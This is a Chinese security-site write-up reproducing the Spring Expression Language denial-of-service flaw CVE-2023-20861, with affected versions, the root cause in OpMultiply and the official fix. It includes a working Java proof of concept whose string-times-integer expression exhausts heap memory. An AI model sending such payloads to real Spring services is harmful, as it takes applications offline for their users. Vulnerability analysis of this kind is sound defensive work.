freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

SPEL拒绝服务漏洞(CVE-2023-20861)复现及分析
2024-10-23 23:47:03
所属地 广东省

0x01 简介

SPEL全称是 Spring Expression Language ,是Spring创建的表达式语言。用户可以输入特定的表达式导致拒绝服务。大家在挖洞的过程中可以关注一下,如果遇到的SPEL不存在远程代码执行漏洞,那么可以尝试一下拒绝服务漏洞。

0x02 影响版本

6.0.0 <= Spring Framwork <= 6.0.6

5.3.0 <= Spring Framwork <= 5.3.25

5.2.0.RELEASE <= Spring Framwork <= 5.2.22.RELEASE

0x03 环境搭建

创建一个maven项目,添加如下依赖

<dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-expression</artifactId>
            <version>5.2.22.RELEASE</version>
</dependency>

0x04 漏洞复现

利用如下Demo进行测试,看到抛出OutOfMemoryError的异常

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.SimpleEvaluationContext;

public class Main {
    public static void main(String[] args) {
        ExpressionParser parser = new SpelExpressionParser();
        SimpleEvaluationContext context = new SimpleEvaluationContext.Builder().build();
        Expression expr = parser.parseExpression("'akundaakundaakundaakundaakundaakundaakundaakundaakundaakundaakundaakunda'*88888888");
        expr.getValue(context, String.class);
    }
}

0x05 漏洞分析

SPEL表达式执行时会调用org.springframework.expression.spel.ast.OpMultiply#getValueInternal,根据AST获取左边的操作符和右边的操作符。

当左边是字符串且右边是整数时,会循环将左边的字符串加入到result中,循环次数由右边的整数指定。

即 result = <左边的字符串> * <右边的整数>,当我们字符串够长,整数够大时就能占满heap。

0x06 官方修复

先计算出 <字符串> * <整数> 的数量,然后检查该数量是否超过了最大值。

0x07 参考链接

https://spring.io/security/cve-2023-20861

# 漏洞分析
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者